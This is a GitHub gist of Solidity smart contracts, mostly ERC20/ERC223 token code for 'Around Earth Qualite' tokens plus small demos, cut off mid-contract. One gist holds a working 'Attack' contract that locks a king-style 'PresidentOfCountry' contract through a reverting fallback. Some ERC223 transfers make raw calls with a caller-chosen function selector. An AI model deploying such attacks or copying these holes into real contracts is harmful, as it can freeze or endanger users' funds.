Created
August 2, 2018 02:36
-
-
Save qraccess/ccb1a2a5f18b7fe3947bd9090eb0387a to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.4.24+commit.e67f0147.js&optimize=false&gist=
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.0; | |
| //请注意这个仅是Demo,请不要用到正式环境 | |
| contract PayTest { | |
| //得到当前合约的余额 | |
| function getBalance() returns (uint) { | |
| return this.balance;//0 | |
| } | |
| //向当前合约存款 | |
| function deposit() payable { | |
| //msg.sender 全局变量,调用合约的发起方 | |
| //msg.value 全局变量,调用合约的发起方转发的货币量,以wei为单位。 | |
| //send() 执行的结果 | |
| //return (msg.sender, msg.value, address(this).send(msg.value)); | |
| address(this).send(msg.value); | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.18; | |
| // ---------------------------------------------------------------------------- | |
| // Symbol : AEQ | |
| // Name : Around Earth Qualite | |
| // Total supply: 210000000.000000 | |
| // Decimals : 6 | |
| // ---------------------------------------------------------------------------- | |
| // ---------------------------------------------------------------------------- | |
| // Safe maths | |
| // ---------------------------------------------------------------------------- | |
| library SafeMath { | |
| function add(uint a, uint b) internal pure returns (uint c) { | |
| c = a + b; | |
| require(c >= a); | |
| } | |
| function sub(uint a, uint b) internal pure returns (uint c) { | |
| require(b <= a); | |
| c = a - b; | |
| } | |
| function mul(uint a, uint b) internal pure returns (uint c) { | |
| c = a * b; | |
| require(a == 0 || c / a == b); | |
| } | |
| function div(uint a, uint b) internal pure returns (uint c) { | |
| require(b > 0); | |
| c = a / b; | |
| } | |
| } | |
| contract ERC20Interface { | |
| function totalSupply() public constant returns (uint); | |
| function balanceOf(address tokenOwner) public constant returns (uint balance); | |
| function allowance(address tokenOwner, address spender) public constant returns (uint remaining); | |
| function transfer(address to, uint tokens) public returns (bool success); | |
| function approve(address spender, uint tokens) public returns (bool success); | |
| function transferFrom(address from, address to, uint tokens) public returns (bool success); | |
| event Transfer(address indexed from, address indexed to, uint tokens); | |
| event Approval(address indexed tokenOwner, address indexed spender, uint tokens); | |
| } | |
| contract ApproveAndCallFallBack { | |
| function receiveApproval(address from, uint256 tokens, address token, bytes data) public; | |
| } | |
| // ---------------------------------------------------------------------------- | |
| // Owned contract | |
| // ---------------------------------------------------------------------------- | |
| contract Owned { | |
| address public owner; | |
| address public newOwner; | |
| event OwnershipTransferred(address indexed _from, address indexed _to); | |
| function Owned() public { | |
| owner = msg.sender; | |
| } | |
| modifier onlyOwner { | |
| require(msg.sender == owner); | |
| _; | |
| } | |
| function transferOwnership(address _newOwner) public onlyOwner { | |
| newOwner = _newOwner; | |
| } | |
| function acceptOwnership() public { | |
| require(msg.sender == newOwner); | |
| OwnershipTransferred(owner, newOwner); | |
| owner = newOwner; | |
| newOwner = address(0); | |
| } | |
| } | |
| contract AEQToken is ERC20Interface, Owned { | |
| using SafeMath for uint; | |
| string public symbol; | |
| string public name; | |
| uint8 public decimals; | |
| uint public _totalSupply; | |
| mapping(address => uint) balances; | |
| mapping(address => mapping(address => uint)) allowed; | |
| function AEQToken() public { | |
| symbol = "AEQ"; | |
| name = "Around Earth Qualite"; | |
| decimals = 6; | |
| _totalSupply = 210000000 * 10**uint(decimals); | |
| balances[owner] = _totalSupply; | |
| Transfer(address(0), owner, _totalSupply); | |
| } | |
| function totalSupply() public constant returns (uint) { | |
| return _totalSupply - balances[address(0)]; | |
| } | |
| function balanceOf(address tokenOwner) public constant returns (uint balance) { | |
| return balances[tokenOwner]; | |
| } | |
| function transfer(address to, uint tokens) public returns (bool success) { | |
| balances[msg.sender] = balances[msg.sender].sub(tokens); | |
| balances[to] = balances[to].add(tokens); | |
| Transfer(msg.sender, to, tokens); | |
| return true; | |
| } | |
| function approve(address spender, uint tokens) public returns (bool success) { | |
| allowed[msg.sender][spender] = tokens; | |
| Approval(msg.sender, spender, tokens); | |
| return true; | |
| } | |
| function transferFrom(address from, address to, uint tokens) public returns (bool success) { | |
| balances[from] = balances[from].sub(tokens); | |
| allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); | |
| balances[to] = balances[to].add(tokens); | |
| Transfer(from, to, tokens); | |
| return true; | |
| } | |
| function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { | |
| return allowed[tokenOwner][spender]; | |
| } | |
| function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { | |
| allowed[msg.sender][spender] = tokens; | |
| Approval(msg.sender, spender, tokens); | |
| ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); | |
| return true; | |
| } | |
| function () public payable { | |
| revert(); | |
| } | |
| function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { | |
| return ERC20Interface(tokenAddress).transfer(owner, tokens); | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.9; | |
| contract SafeMath { | |
| uint256 constant public MAX_UINT256 = | |
| 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; | |
| function safeAdd(uint256 x, uint256 y) constant internal returns (uint256 z) { | |
| if (x > MAX_UINT256 - y) throw; | |
| return x + y; | |
| } | |
| function safeSub(uint256 x, uint256 y) constant internal returns (uint256 z) { | |
| if (x < y) throw; | |
| return x - y; | |
| } | |
| function safeMul(uint256 x, uint256 y) constant internal returns (uint256 z) { | |
| if (y == 0) return 0; | |
| if (x > MAX_UINT256 / y) throw; | |
| return x * y; | |
| } | |
| } | |
| contract ContractReceiver { | |
| function tokenFallback(address _from, uint _value, bytes _data); | |
| } | |
| contract ERC223Token is SafeMath { | |
| event Transfer(address indexed _from, address indexed _to, uint256 _value, bytes _data); | |
| mapping(address => uint) balances; | |
| string public name = "Around Earth Qualite"; | |
| string public symbol = "AEQ"; | |
| uint8 public decimals = 6; | |
| uint256 public totalSupply; | |
| function ERC223Token() | |
| { | |
| totalSupply = 210000000 * 10 ** uint256(decimals); | |
| balances[msg.sender] = totalSupply; | |
| } | |
| // Function to access name of token . | |
| function name() constant returns (string _name) { | |
| return name; | |
| } | |
| // Function to access symbol of token . | |
| function symbol() constant returns (string _symbol) { | |
| return symbol; | |
| } | |
| // Function to access decimals of token . | |
| function decimals() constant returns (uint8 _decimals) { | |
| return decimals; | |
| } | |
| // Function to access total supply of tokens . | |
| function totalSupply() constant returns (uint256 _totalSupply) { | |
| return totalSupply; | |
| } | |
| // Function that is called when a user or another contract wants to transfer funds . | |
| function transfer(address _to, uint _value, bytes _data, string _custom_fallback) returns (bool success) { | |
| if(isContract(_to)) { | |
| if (balanceOf(msg.sender) < _value) throw; | |
| balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); | |
| balances[_to] = safeAdd(balanceOf(_to), _value); | |
| assert(_to.call.value(0)(bytes4(sha3(_custom_fallback)), msg.sender, _value, _data)); | |
| Transfer(msg.sender, _to, _value, _data); | |
| return true; | |
| } | |
| else { | |
| return transferToAddress(_to, _value, _data); | |
| } | |
| } | |
| // Function that is called when a user or another contract wants to transfer funds . | |
| function transfer(address _to, uint _value, bytes _data) returns (bool success) { | |
| if(isContract(_to)) { | |
| return transferToContract(_to, _value, _data); | |
| } | |
| else { | |
| return transferToAddress(_to, _value, _data); | |
| } | |
| } | |
| // Standard function transfer similar to ERC20 transfer with no _data . | |
| // Added due to backwards compatibility reasons . | |
| function transfer(address _to, uint _value) returns (bool success) { | |
| //standard function transfer similar to ERC20 transfer with no _data | |
| //added due to backwards compatibility reasons | |
| bytes memory empty; | |
| if(isContract(_to)) { | |
| return transferToContract(_to, _value, empty); | |
| } | |
| else { | |
| return transferToAddress(_to, _value, empty); | |
| } | |
| } | |
| //assemble the given address bytecode. If bytecode exists then the _addr is a contract. | |
| function isContract(address _addr) private returns (bool is_contract) { | |
| uint length; | |
| assembly { | |
| //retrieve the size of the code on target address, this needs assembly | |
| length := extcodesize(_addr) | |
| } | |
| return (length>0); | |
| } | |
| //function that is called when transaction target is an address | |
| function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { | |
| if (balanceOf(msg.sender) < _value) throw; | |
| balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); | |
| balances[_to] = safeAdd(balanceOf(_to), _value); | |
| Transfer(msg.sender, _to, _value, _data); | |
| return true; | |
| } | |
| //function that is called when transaction target is a contract | |
| function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { | |
| if (balanceOf(msg.sender) < _value) throw; | |
| balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); | |
| balances[_to] = safeAdd(balanceOf(_to), _value); | |
| ContractReceiver receiver = ContractReceiver(_to); | |
| receiver.tokenFallback(msg.sender, _value, _data); | |
| Transfer(msg.sender, _to, _value, _data); | |
| return true; | |
| } | |
| function balanceOf(address _owner) constant returns (uint balance) { | |
| return balances[_owner]; | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.21; | |
| interface tokenRecipient { | |
| function receiveApproval( address from, uint256 value, bytes data ) external; | |
| } | |
| // ERC223 | |
| interface ContractReceiver { | |
| function tokenFallback( address from, uint value, bytes data ) external; | |
| } | |
| contract ERC223Token | |
| { | |
| string public name; | |
| string public symbol; | |
| uint8 public decimals; | |
| uint256 public totalSupply; | |
| mapping( address => uint256 ) balances_; | |
| mapping( address => mapping(address => uint256) ) allowances_; | |
| // ERC20 | |
| event Approval( address indexed owner, | |
| address indexed spender, | |
| uint value ); | |
| event Transfer( address indexed from, | |
| address indexed to, | |
| uint256 value ); | |
| // bytes data ); use ERC20 version instead | |
| event Burn( address indexed from, uint256 value ); | |
| function ERC223Token( uint256 initialSupply, | |
| string tokenName, | |
| uint8 decimalUnits, | |
| string tokenSymbol ) public | |
| { | |
| totalSupply = initialSupply * 10 ** uint256(decimalUnits); | |
| balances_[msg.sender] = totalSupply; | |
| name = tokenName; | |
| decimals = decimalUnits; | |
| symbol = tokenSymbol; | |
| emit Transfer( address(0), msg.sender, totalSupply ); | |
| } | |
| function() public payable { revert(); } // does not accept money | |
| function balanceOf( address owner ) public constant returns (uint) { | |
| return balances_[owner]; | |
| } | |
| // ERC20 | |
| function approve( address spender, uint256 value ) public | |
| returns (bool success) | |
| { | |
| allowances_[msg.sender][spender] = value; | |
| emit Approval( msg.sender, spender, value ); | |
| return true; | |
| } | |
| // recommended fix for known attack on any ERC20 | |
| function safeApprove( address _spender, | |
| uint256 _currentValue, | |
| uint256 _value ) public | |
| returns (bool success) { | |
| // If current allowance for _spender is equal to _currentValue, then | |
| // overwrite it with _value and return true, otherwise return false. | |
| if (allowances_[msg.sender][_spender] == _currentValue) | |
| return approve(_spender, _value); | |
| return false; | |
| } | |
| // ERC20 | |
| function allowance( address owner, address spender ) public constant | |
| returns (uint256 remaining) | |
| { | |
| return allowances_[owner][spender]; | |
| } | |
| // ERC20 | |
| function transfer(address to, uint256 value) public returns (bool alwaystrue) | |
| { | |
| bytes memory empty; // null | |
| _transfer( msg.sender, to, value, empty ); | |
| return true; | |
| } | |
| // ERC20 | |
| function transferFrom( address from, address to, uint256 value ) public | |
| returns (bool success) | |
| { | |
| require( value <= allowances_[from][msg.sender] ); | |
| allowances_[from][msg.sender] -= value; | |
| bytes memory empty; | |
| _transfer( from, to, value, empty ); | |
| return true; | |
| } | |
| // Ethereum Token | |
| function approveAndCall( address spender, | |
| uint256 value, | |
| bytes context ) public | |
| returns (bool success) | |
| { | |
| if ( approve(spender, value) ) | |
| { | |
| tokenRecipient recip = tokenRecipient( spender ); | |
| recip.receiveApproval( msg.sender, value, context ); | |
| return true; | |
| } | |
| return false; | |
| } | |
| // Ethereum Token | |
| function burn( uint256 value ) public | |
| returns (bool success) | |
| { | |
| require( balances_[msg.sender] >= value ); | |
| balances_[msg.sender] -= value; | |
| totalSupply -= value; | |
| emit Burn( msg.sender, value ); | |
| return true; | |
| } | |
| // Ethereum Token | |
| function burnFrom( address from, uint256 value ) public | |
| returns (bool success) | |
| { | |
| require( balances_[from] >= value ); | |
| require( value <= allowances_[from][msg.sender] ); | |
| balances_[from] -= value; | |
| allowances_[from][msg.sender] -= value; | |
| totalSupply -= value; | |
| emit Burn( from, value ); | |
| return true; | |
| } | |
| // ERC223 Transfer and invoke specified callback | |
| function transfer( address to, | |
| uint value, | |
| bytes data, | |
| string custom_fallback ) public returns (bool success) | |
| { | |
| _transfer( msg.sender, to, value, data ); | |
| if ( isContract(to) ) | |
| { | |
| ContractReceiver rx = ContractReceiver( to ); | |
| require( address(rx).call.value(0)(bytes4(keccak256(custom_fallback)), | |
| msg.sender, | |
| value, | |
| data) ); | |
| } | |
| return true; | |
| } | |
| // ERC223 Transfer to a contract or externally-owned account | |
| function transfer( address to, uint value, bytes data ) public | |
| returns (bool success) | |
| { | |
| if (isContract(to)) { | |
| return transferToContract( to, value, data ); | |
| } | |
| _transfer( msg.sender, to, value, data ); | |
| return true; | |
| } | |
| // ERC223 Transfer to contract and invoke tokenFallback() method | |
| function transferToContract( address to, uint value, bytes data ) private | |
| returns (bool success) | |
| { | |
| _transfer( msg.sender, to, value, data ); | |
| ContractReceiver rx = ContractReceiver(to); | |
| rx.tokenFallback( msg.sender, value, data ); | |
| return true; | |
| } | |
| // ERC223 fetch contract size (must be nonzero to be a contract) | |
| function isContract( address _addr ) private constant returns (bool) | |
| { | |
| uint length; | |
| assembly { length := extcodesize(_addr) } | |
| return (length > 0); | |
| } | |
| function _transfer( address from, | |
| address to, | |
| uint value, | |
| bytes data ) internal | |
| { | |
| require( to != 0x0 ); | |
| require( balances_[from] >= value ); | |
| require( balances_[to] + value > balances_[to] ); // catch overflow | |
| balances_[from] -= value; | |
| balances_[to] += value; | |
| //Transfer( from, to, value, data ); ERC223-compat version | |
| bytes memory empty; | |
| empty = data; | |
| emit Transfer( from, to, value ); // ERC20-compat version | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.18; | |
| // ---------------------------------------------------------------------------- | |
| // Symbol : AEQc | |
| // Name : Around Earth Qualite cash | |
| // Total supply: 210000000.000000 | |
| // Decimals : 6 | |
| // ---------------------------------------------------------------------------- | |
| // ---------------------------------------------------------------------------- | |
| // Safe maths | |
| // ---------------------------------------------------------------------------- | |
| library SafeMath { | |
| function add(uint a, uint b) internal pure returns (uint c) { | |
| c = a + b; | |
| require(c >= a); | |
| } | |
| function sub(uint a, uint b) internal pure returns (uint c) { | |
| require(b <= a); | |
| c = a - b; | |
| } | |
| function mul(uint a, uint b) internal pure returns (uint c) { | |
| c = a * b; | |
| require(a == 0 || c / a == b); | |
| } | |
| function div(uint a, uint b) internal pure returns (uint c) { | |
| require(b > 0); | |
| c = a / b; | |
| } | |
| } | |
| contract ERC20Interface { | |
| function totalSupply() public constant returns (uint); | |
| function balanceOf(address tokenOwner) public constant returns (uint balance); | |
| function allowance(address tokenOwner, address spender) public constant returns (uint remaining); | |
| function transfer(address to, uint tokens) public returns (bool success); | |
| function approve(address spender, uint tokens) public returns (bool success); | |
| function transferFrom(address from, address to, uint tokens) public returns (bool success); | |
| event Transfer(address indexed from, address indexed to, uint tokens); | |
| event Approval(address indexed tokenOwner, address indexed spender, uint tokens); | |
| } | |
| contract ApproveAndCallFallBack { | |
| function receiveApproval(address from, uint256 tokens, address token, bytes data) public; | |
| } | |
| // ---------------------------------------------------------------------------- | |
| // Owned contract | |
| // ---------------------------------------------------------------------------- | |
| contract Owned { | |
| address public owner; | |
| address public newOwner; | |
| event OwnershipTransferred(address indexed _from, address indexed _to); | |
| function Owned() public { | |
| owner = msg.sender; | |
| } | |
| modifier onlyOwner { | |
| require(msg.sender == owner); | |
| _; | |
| } | |
| function transferOwnership(address _newOwner) public onlyOwner { | |
| newOwner = _newOwner; | |
| } | |
| function acceptOwnership() public { | |
| require(msg.sender == newOwner); | |
| OwnershipTransferred(owner, newOwner); | |
| owner = newOwner; | |
| newOwner = address(0); | |
| } | |
| } | |
| contract Token is ERC20Interface, Owned { | |
| using SafeMath for uint; | |
| string public symbol; | |
| string public name; | |
| uint8 public decimals; | |
| uint public _totalSupply; | |
| mapping(address => uint) balances; | |
| mapping(address => mapping(address => uint)) allowed; | |
| function Token() public { | |
| symbol = "AEQc"; | |
| name = "Around Earth Qualite cash"; | |
| decimals = 6; | |
| _totalSupply = 210000000 * 10**uint(decimals); | |
| balances[owner] = _totalSupply; | |
| Transfer(address(0), owner, _totalSupply); | |
| } | |
| function totalSupply() public constant returns (uint) { | |
| return _totalSupply - balances[address(0)]; | |
| } | |
| function balanceOf(address tokenOwner) public constant returns (uint balance) { | |
| return balances[tokenOwner]; | |
| } | |
| function transfer(address to, uint tokens) public returns (bool success) { | |
| balances[msg.sender] = balances[msg.sender].sub(tokens); | |
| balances[to] = balances[to].add(tokens); | |
| Transfer(msg.sender, to, tokens); | |
| return true; | |
| } | |
| function approve(address spender, uint tokens) public returns (bool success) { | |
| allowed[msg.sender][spender] = tokens; | |
| Approval(msg.sender, spender, tokens); | |
| return true; | |
| } | |
| function transferFrom(address from, address to, uint tokens) public returns (bool success) { | |
| balances[from] = balances[from].sub(tokens); | |
| allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); | |
| balances[to] = balances[to].add(tokens); | |
| Transfer(from, to, tokens); | |
| return true; | |
| } | |
| function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { | |
| return allowed[tokenOwner][spender]; | |
| } | |
| function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { | |
| allowed[msg.sender][spender] = tokens; | |
| Approval(msg.sender, spender, tokens); | |
| ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); | |
| return true; | |
| } | |
| function () public payable { | |
| revert(); | |
| } | |
| function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { | |
| return ERC20Interface(tokenAddress).transfer(owner, tokens); | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.10; | |
| contract PresidentOfCountry { | |
| address public president; | |
| uint256 price; | |
| function PresidentOfCountry(uint256 _price) { | |
| require(_price > 0); | |
| price = _price; | |
| president = msg.sender; | |
| } | |
| function becomePresident() payable { | |
| require(msg.value > price); | |
| president.transfer(price); | |
| president = msg.sender; | |
| price = price * 2; | |
| } | |
| } | |
| contract Attack { | |
| function() { | |
| revert(); | |
| } | |
| function Attack(address _target) payable { | |
| _target.call.value(msg.value)(bytes4(keccak256('becomePresident()'))); | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.0; | |
| interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } | |
| contract TokenERC20 { | |
| string public name; | |
| string public symbol; | |
| uint8 public decimals = 6; | |
| uint256 public totalSupply; | |
| mapping (address => uint256) public balanceOf; // | |
| mapping (address => mapping (address => uint256)) public allowance; | |
| event Transfer(address indexed from, address indexed to, uint256 value); | |
| event Burn(address indexed from, uint256 value); | |
| function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public { | |
| totalSupply = initialSupply * 10 ** uint256(decimals); | |
| balanceOf[msg.sender] = totalSupply; | |
| name = tokenName; | |
| symbol = tokenSymbol; | |
| } | |
| function _transfer(address _from, address _to, uint _value) internal { | |
| require(_to != 0x0); | |
| require(balanceOf[_from] >= _value); | |
| require(balanceOf[_to] + _value > balanceOf[_to]); | |
| uint previousBalances = balanceOf[_from] + balanceOf[_to]; | |
| balanceOf[_from] -= _value; | |
| balanceOf[_to] += _value; | |
| Transfer(_from, _to, _value); | |
| assert(balanceOf[_from] + balanceOf[_to] == previousBalances); | |
| } | |
| function transfer(address _to, uint256 _value) public { | |
| _transfer(msg.sender, _to, _value); | |
| } | |
| function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { | |
| require(_value <= allowance[_from][msg.sender]); // Check allowance | |
| allowance[_from][msg.sender] -= _value; | |
| _transfer(_from, _to, _value); | |
| return true; | |
| } | |
| function approve(address _spender, uint256 _value) public | |
| returns (bool success) { | |
| allowance[msg.sender][_spender] = _value; | |
| return true; | |
| } | |
| function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { | |
| tokenRecipient spender = tokenRecipient(_spender); | |
| if (approve(_spender, _value)) { | |
| spender.receiveApproval(msg.sender, _value, this, _extraData); | |
| return true; | |
| } | |
| } | |
| function burn(uint256 _value) public returns (bool success) { | |
| require(balanceOf[msg.sender] >= _value); | |
| balanceOf[msg.sender] -= _value; | |
| totalSupply -= _value; | |
| Burn(msg.sender, _value); | |
| return true; | |
| } | |
| function burnFrom(address _from, uint256 _value) public returns (bool success) { | |
| require(balanceOf[_from] >= _value); | |
| require(_value <= allowance[_from][msg.sender]); | |
| balanceOf[_from] -= _value; | |
| allowance[_from][msg.sender] -= _value; | |
| totalSupply -= _value; | |
| Burn(_from, _value); | |
| return true; | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.24; | |
| import "./ERC20Basic.sol"; | |
| import "./SafeMath.sol"; | |
| /** | |
| * @title Basic token | |
| * @dev Basic version of StandardToken, with no allowances. | |
| */ | |
| contract BasicToken is ERC20Basic { | |
| using SafeMath for uint256; | |
| mapping(address => uint256) balances; | |
| uint256 totalSupply_; | |
| /** | |
| * @dev Total number of tokens in existence | |
| */ | |
| function totalSupply() public view returns (uint256) { | |
| return totalSupply_; | |
| } | |
| /** | |
| * @dev Transfer token for a specified address | |
| * @param _to The address to transfer to. | |
| * @param _value The amount to be transferred. | |
| */ | |
| function transfer(address _to, uint256 _value) public returns (bool) { | |
| require(_to != address(0)); | |
| require(_value <= balances[msg.sender]); | |
| balances[msg.sender] = balances[msg.sender].sub(_value); | |
| balances[_to] = balances[_to].add(_value); | |
| emit Transfer(msg.sender, _to, _value); | |
| return true; | |
| } | |
| /** | |
| * @dev Gets the balance of the specified address. | |
| * @param _owner The address to query the the balance of. | |
| * @return An uint256 representing the amount owned by the passed address. | |
| */ | |
| function balanceOf(address _owner) public view returns (uint256) { | |
| return balances[_owner]; | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.18; | |
| contract ERC20Interface { | |
| function totalSupply() public constant returns (uint); | |
| function balanceOf(address tokenOwner) public constant returns (uint balance); | |
| function allowance(address tokenOwner, address spender) public constant returns (uint remaining); | |
| function transfer(address to, uint tokens) public returns (bool success); | |
| function approve(address spender, uint tokens) public returns (bool success); | |
| function transferFrom(address from, address to, uint tokens) public returns (bool success); | |
| event Transfer(address indexed from, address indexed to, uint tokens); | |
| event Approval(address indexed tokenOwner, address indexed spender, uint tokens); | |
| } | |
| contract Owned { | |
| address public owner; | |
| address public newOwner; | |
| event OwnershipTransferred(address indexed _from, address indexed _to); | |
| constructor() public { | |
| owner = msg.sender; | |
| } | |
| modifier onlyOwner { | |
| require(msg.sender == owner); | |
| _; | |
| } | |
| function transferOwnership(address _newOwner) public onlyOwner { | |
| newOwner = _newOwner; | |
| } | |
| function acceptOwnership() public { | |
| require(msg.sender == newOwner); | |
| emit OwnershipTransferred(owner, newOwner); | |
| owner = newOwner; | |
| newOwner = address(0); | |
| } | |
| } | |
| contract Cooperate is Owned { | |
| address public tokenContractAddress; | |
| constructor (address _address) public { | |
| tokenContractAddress = _address; | |
| } | |
| function () payable public { | |
| revert(); | |
| } | |
| function balanceOf() public constant returns (uint) { | |
| return ERC20Interface(tokenContractAddress).balanceOf(address(this)); | |
| } | |
| function transferAnyERC20Token(address _for, uint tokens) public onlyOwner returns (bool success) { | |
| require(this.balanceOf() > tokens); | |
| return(ERC20Interface(tokenContractAddress).transfer(_for, tokens)); | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.18; | |
| contract ERC20Interface { | |
| function totalSupply() public constant returns (uint); | |
| function balanceOf(address tokenOwner) public constant returns (uint balance); | |
| function allowance(address tokenOwner, address spender) public constant returns (uint remaining); | |
| function transfer(address to, uint tokens) public returns (bool success); | |
| function approve(address spender, uint tokens) public returns (bool success); | |
| function transferFrom(address from, address to, uint tokens) public returns (bool success); | |
| event Transfer(address indexed from, address indexed to, uint tokens); | |
| event Approval(address indexed tokenOwner, address indexed spender, uint tokens); | |
| } | |
| library SafeMath { | |
| function add(uint a, uint b) internal pure returns (uint c) { | |
| c = a + b; | |
| require(c >= a); | |
| } | |
| function sub(uint a, uint b) internal pure returns (uint c) { | |
| require(b <= a); | |
| c = a - b; | |
| } | |
| function mul(uint a, uint b) internal pure returns (uint c) { | |
| c = a * b; | |
| require(a == 0 || c / a == b); | |
| } | |
| function div(uint a, uint b) internal pure returns (uint c) { | |
| require(b > 0); | |
| c = a / b; | |
| } | |
| } | |
| contract Owned { | |
| address public owner; | |
| address public newOwner; | |
| event OwnershipTransferred(address indexed _from, address indexed _to); | |
| constructor() public { | |
| owner = msg.sender; | |
| } | |
| modifier onlyOwner { | |
| require(msg.sender == owner); | |
| _; | |
| } | |
| function getTotalETH() public view returns(uint) { | |
| return address(this).balance; | |
| } | |
| function transferOwnership(address _newOwner) public onlyOwner { | |
| newOwner = _newOwner; | |
| } | |
| function acceptOwnership() public { | |
| require(msg.sender == newOwner); | |
| emit OwnershipTransferred(owner, newOwner); | |
| owner = newOwner; | |
| newOwner = address(0); | |
| } | |
| } | |
| contract Cooperate is Owned { | |
| mapping(address => uint) public balances; | |
| address[] public accounts; | |
| using SafeMath for uint; | |
| constructor () payable public { | |
| if(msg.value > 0) { | |
| balances[msg.sender] = balances[msg.sender].add(msg.value); | |
| accounts.push(msg.sender); | |
| } | |
| } | |
| function () payable public { | |
| if(balances[msg.sender] == 0) { | |
| accounts.push(msg.sender); | |
| } | |
| if(msg.value > 0) { | |
| balances[msg.sender] = balances[msg.sender].add(msg.value); | |
| } | |
| } | |
| function withdraw(address _from, address _to, uint _amount) onlyOwner public returns(bool) { | |
| require(balances[_from] > _amount); | |
| balances[_from] = balances[_from].sub(_amount); | |
| _to.transfer(_amount); | |
| return true; | |
| } | |
| function kill() onlyOwner public { | |
| selfdestruct(owner); | |
| } | |
| function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { | |
| return ERC20Interface(tokenAddress).transfer(owner, tokens); | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.21; | |
| interface tokenRecipient { | |
| function receiveApproval( address from, uint256 value, bytes data ) external; | |
| } | |
| // ERC223 | |
| interface ContractReceiver { | |
| function tokenFallback( address from, uint value, bytes data ) external; | |
| } | |
| contract ERC223Token | |
| { | |
| string public name; | |
| string public symbol; | |
| uint8 public decimals; | |
| uint256 public totalSupply; | |
| mapping( address => uint256 ) balances_; | |
| mapping( address => mapping(address => uint256) ) allowances_; | |
| // ERC20 | |
| event Approval( address indexed owner, | |
| address indexed spender, | |
| uint value ); | |
| event Transfer( address indexed from, | |
| address indexed to, | |
| uint256 value ); | |
| // bytes data ); use ERC20 version instead | |
| event Burn( address indexed from, uint256 value ); | |
| function ERC223Token( uint256 initialSupply, | |
| string tokenName, | |
| uint8 decimalUnits, | |
| string tokenSymbol ) public | |
| { | |
| totalSupply = initialSupply * 10 ** uint256(decimalUnits); | |
| balances_[msg.sender] = totalSupply; | |
| name = tokenName; | |
| decimals = decimalUnits; | |
| symbol = tokenSymbol; | |
| emit Transfer( address(0), msg.sender, totalSupply ); | |
| } | |
| function() public payable { revert(); } // does not accept money | |
| function balanceOf( address owner ) public constant returns (uint) { | |
| return balances_[owner]; | |
| } | |
| // ERC20 | |
| function approve( address spender, uint256 value ) public | |
| returns (bool success) | |
| { | |
| allowances_[msg.sender][spender] = value; | |
| emit Approval( msg.sender, spender, value ); | |
| return true; | |
| } | |
| // recommended fix for known attack on any ERC20 | |
| function safeApprove( address _spender, | |
| uint256 _currentValue, | |
| uint256 _value ) public | |
| returns (bool success) { | |
| // If current allowance for _spender is equal to _currentValue, then | |
| // overwrite it with _value and return true, otherwise return false. | |
| if (allowances_[msg.sender][_spender] == _currentValue) | |
| return approve(_spender, _value); | |
| return false; | |
| } | |
| // ERC20 | |
| function allowance( address owner, address spender ) public constant | |
| returns (uint256 remaining) | |
| { | |
| return allowances_[owner][spender]; | |
| } | |
| // ERC20 | |
| function transfer(address to, uint256 value) public returns (bool alwaystrue) | |
| { | |
| bytes memory empty; // null | |
| _transfer( msg.sender, to, value, empty ); | |
